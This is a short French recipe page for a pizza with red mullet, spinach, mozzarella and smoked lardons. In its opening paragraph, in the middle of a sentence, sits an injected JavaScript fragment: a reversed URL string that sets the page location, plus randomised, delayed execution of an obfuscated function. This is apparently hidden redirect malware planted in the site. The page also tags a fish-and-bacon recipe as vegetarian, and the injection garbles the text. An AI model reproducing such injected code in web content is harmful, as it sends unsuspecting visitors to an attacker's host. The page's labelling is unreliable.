Pizza aux petits rougets

2018-02-19

Cuisine : Pizza
Thématique : Végétarien
Niveau : Difficile

Dans une casserole d’eau bouillante salée, faites blanchir les pousses d’épinards pendant 1 minute. Égouttez, pressez pour enlever tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toute l’eau.

Ingrédients

Pour 4 personnes
2 ronds de pâte à pizza
4 tomates
250 g de pousses d'épinards
8 filets de rougets
300 g de mozzarella tranchée
125 g de lardons fumés
2 cuillères à soupe d'huile d'olive
3 cuillères à soupe de basilic ciselé
Sel - Poivre

Préparation de la recette

Etape 1

Dans une casserole d'eau bouillante salée, faites blanchir les pousses d'épinards pendant 1 minute. Égouttez, pressez pour enlever toute l'eau.

Etape 2

Rincez, séchez, Coupez-les tomates en rondelles. Dans une poêle sans matière grasse sur feu vif, faites revenir les lardons tout en remuant. Réservez.

Etape 3

Déposez les 2 ronds de pâte sur la plaque du four, répartissez les rondelles de tomates, les pousses d'épinards, les filets de rougets, les lardons, les tranches de mozzarella, poivrez. Préchauffez le four à 210° C thermostat 7.

Etape 4

Enfournez et faites cuire pendant 25 minutes jusqu'à ce que les bords de la pâte soit dorée. Parsemez de basilic et dégustez.